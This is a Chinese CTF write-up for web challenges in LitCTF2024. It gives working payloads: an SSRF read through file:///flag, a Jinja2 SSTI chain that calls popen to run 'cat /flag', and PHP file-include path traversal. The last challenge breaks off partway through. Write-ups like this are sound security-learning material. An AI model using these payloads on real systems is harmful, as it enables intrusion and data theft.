LitCTF2024 (NSS)
1.浏览器也能套娃?
一进去是让输入URL,反复输入题目的URL就是多层套娃
尝试输入其他网站
发现百度是可以的,那么这种通过url地址分享网页内容功能处,应该是SSRF
则有SSRF利用:
url?url=http://内网的资源url
本题可以使用file伪协议(即尝试从文件系统中获取文件)
url=file:///flag
2.一个…池子?
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__subclasses__(): 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
看了下是Flask和Nginx,Flask是目前python主流的一个web微框架,通过Flask框架我们可以利用python语言搭建起web服务
Flask默认使用的引擎为jinjia2
而在JINJIA2引擎中:
{
{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
又根据提示是SSTI,就随便塞了一段进去:{
{''.__class__.__bases__[0].__subclasses__()}}
然后ctrl + F搜索os._wrap_close
,根据定位到137
{
{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}
看看有没有popen函数
发现有,则payload:
{
{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}
3.高亮主题(划掉)背景查看器
源码如下:
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {
// 读取并包含用户输入的文件
$file = $_GET['url'];
if (strpos($file, '..') === false) {
include $file;
} else {
echo "Access denied.";
}
} else {
echo "No file specified.";
}
?>
但是按照代码上传却什么也没显示
回到原页面,发现切换主题会有变动,于是尝试抓包切换页面的过程
发现有个POST传参
将theme2.php改为/flag.php发现报错
就改成了…/…/…/…/flag
就行了()
4.百万美元的诱惑
<?php
error_reporting